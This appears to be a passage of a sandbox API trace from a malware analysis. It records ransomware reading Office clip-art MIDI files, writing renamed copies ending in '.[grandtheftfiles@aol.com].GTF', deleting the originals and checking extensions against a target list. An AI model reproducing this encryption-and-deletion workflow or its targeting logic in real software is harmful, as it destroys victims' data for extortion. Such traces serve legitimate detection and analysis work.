	[0163.533] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0163.535] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0163.535] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.536] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1
	[0163.536] SetEndOfFile (hFile=0x544) returned 1
	[0163.536] CloseHandle (hObject=0x544) returned 1
	[0163.536] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.536] SetEndOfFile (hFile=0x528) returned 1
	[0163.708] CloseHandle (hObject=0x528) returned 1
	[0163.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1
	[0163.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.709] lstrlenW (lpString=".doc") returned 4
	[0163.709] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.709] lstrlenW (lpString=".docx") returned 5
	[0163.709] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.709] lstrlenW (lpString=".pdf") returned 4
	[0163.709] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.709] lstrlenW (lpString=".xls") returned 4
	[0163.709] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.709] lstrlenW (lpString=".xlsx") returned 5
	[0163.709] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.709] lstrlenW (lpString=".ppt") returned 4
	[0163.709] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.709] lstrlenW (lpString=".zip") returned 4
	[0163.709] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.709] lstrlenW (lpString=".rar") returned 4
	[0163.709] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.709] lstrlenW (lpString=".bz2") returned 4
	[0163.709] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.709] lstrlenW (lpString=".7z") returned 3
	[0163.709] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".dbf") returned 4
	[0163.710] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".1cd") returned 4
	[0163.710] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".jpg") returned 4
	[0163.710] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".doc") returned 4
	[0163.710] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.710] lstrlenW (lpString=".docx") returned 5
	[0163.710] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.710] lstrlenW (lpString=".pdf") returned 4
	[0163.710] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.710] lstrlenW (lpString=".xls") returned 4
	[0163.710] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.710] lstrlenW (lpString=".xlsx") returned 5
	[0163.710] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.710] lstrlenW (lpString=".ppt") returned 4
	[0163.710] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".zip") returned 4
	[0163.710] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.710] lstrlenW (lpString=".rar") returned 4
	[0163.710] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.710] lstrlenW (lpString=".bz2") returned 4
	[0163.710] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.710] lstrlenW (lpString=".7z") returned 3
	[0163.710] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".dbf") returned 4
	[0163.710] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.710] lstrlenW (lpString=".1cd") returned 4
	[0163.711] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0163.711] lstrlenW (lpString=".jpg") returned 4
	[0163.711] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.711] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.711] lstrlenW (lpString="CARBN_01.MID") returned 12
	[0163.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.711] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9322) returned 1
	[0163.712] CloseHandle (hObject=0x528) returned 1
	[0163.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220
	[0163.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.712] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.712] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.713] GetLastError () returned 0x0
	[0163.713] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x246a, lpOverlapped=0x0) returned 1
	[0163.734] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2470, lpOverlapped=0x0) returned 1
	[0163.735] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.735] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.735] SetEndOfFile (hFile=0x544) returned 1
	[0163.735] CloseHandle (hObject=0x544) returned 1
	[0163.735] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.735] SetEndOfFile (hFile=0x528) returned 1
	[0163.738] CloseHandle (hObject=0x528) returned 1
	[0163.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1
	[0163.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.746] lstrlenW (lpString=".doc") returned 4
	[0163.746] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.746] lstrlenW (lpString=".docx") returned 5
	[0163.746] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.746] lstrlenW (lpString=".pdf") returned 4
	[0163.746] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.746] lstrlenW (lpString=".xls") returned 4
	[0163.746] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.746] lstrlenW (lpString=".xlsx") returned 5
	[0163.746] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.746] lstrlenW (lpString=".ppt") returned 4
	[0163.746] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.746] lstrlenW (lpString=".zip") returned 4
	[0163.746] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.746] lstrlenW (lpString=".rar") returned 4
	[0163.746] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.746] lstrlenW (lpString=".bz2") returned 4
	[0163.746] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.746] lstrlenW (lpString=".7z") returned 3
	[0163.746] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.746] lstrlenW (lpString=".dbf") returned 4
	[0163.747] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString=".1cd") returned 4
	[0163.747] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString=".jpg") returned 4
	[0163.747] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString=".doc") returned 4
	[0163.747] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.747] lstrlenW (lpString=".docx") returned 5
	[0163.747] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.747] lstrlenW (lpString=".pdf") returned 4
	[0163.747] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.747] lstrlenW (lpString=".xls") returned 4
	[0163.747] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.747] lstrlenW (lpString=".xlsx") returned 5
	[0163.747] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.747] lstrlenW (lpString=".ppt") returned 4
	[0163.747] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString=".zip") returned 4
	[0163.747] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.747] lstrlenW (lpString=".rar") returned 4
	[0163.747] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.747] lstrlenW (lpString=".bz2") returned 4
	[0163.747] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.747] lstrlenW (lpString=".7z") returned 3
	[0163.747] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString=".dbf") returned 4
	[0163.747] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.747] lstrlenW (lpString=".1cd") returned 4
	[0163.747] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0163.748] lstrlenW (lpString=".jpg") returned 4
	[0163.748] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.748] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.748] lstrlenW (lpString="CMNTY_01.MID") returned 12
	[0163.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.748] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6970) returned 1
	[0163.748] CloseHandle (hObject=0x528) returned 1
	[0163.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220
	[0163.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.749] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.749] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.750] GetLastError () returned 0x0
	[0163.750] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b3a, lpOverlapped=0x0) returned 1
	[0163.782] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b40, lpOverlapped=0x0) returned 1
	[0163.783] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.783] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.783] SetEndOfFile (hFile=0x544) returned 1
	[0163.783] CloseHandle (hObject=0x544) returned 1
	[0163.783] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.783] SetEndOfFile (hFile=0x528) returned 1
	[0163.786] CloseHandle (hObject=0x528) returned 1
	[0163.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1
	[0163.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.787] lstrlenW (lpString=".doc") returned 4
	[0163.787] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.787] lstrlenW (lpString=".docx") returned 5
	[0163.787] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.787] lstrlenW (lpString=".pdf") returned 4
	[0163.787] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.787] lstrlenW (lpString=".xls") returned 4
	[0163.787] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.787] lstrlenW (lpString=".xlsx") returned 5
	[0163.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.787] lstrlenW (lpString=".ppt") returned 4
	[0163.787] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.787] lstrlenW (lpString=".zip") returned 4
	[0163.787] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.787] lstrlenW (lpString=".rar") returned 4
	[0163.787] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.787] lstrlenW (lpString=".bz2") returned 4
	[0163.787] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.787] lstrlenW (lpString=".7z") returned 3
	[0163.787] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.787] lstrlenW (lpString=".dbf") returned 4
	[0163.788] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString=".1cd") returned 4
	[0163.788] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString=".jpg") returned 4
	[0163.788] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString=".doc") returned 4
	[0163.788] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.788] lstrlenW (lpString=".docx") returned 5
	[0163.788] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.788] lstrlenW (lpString=".pdf") returned 4
	[0163.788] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.788] lstrlenW (lpString=".xls") returned 4
	[0163.788] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.788] lstrlenW (lpString=".xlsx") returned 5
	[0163.788] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.788] lstrlenW (lpString=".ppt") returned 4
	[0163.788] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString=".zip") returned 4
	[0163.788] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.788] lstrlenW (lpString=".rar") returned 4
	[0163.788] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.788] lstrlenW (lpString=".bz2") returned 4
	[0163.788] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.788] lstrlenW (lpString=".7z") returned 3
	[0163.788] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString=".dbf") returned 4
	[0163.788] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.788] lstrlenW (lpString=".1cd") returned 4
	[0163.789] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0163.789] lstrlenW (lpString=".jpg") returned 4
	[0163.789] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.789] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.789] lstrlenW (lpString="FALL_01.MID") returned 11
	[0163.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0163.858] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4846) returned 1
	[0163.858] CloseHandle (hObject=0x3dc) returned 1
	[0163.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220
	[0163.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0163.861] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.861] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0163.862] GetLastError () returned 0x0
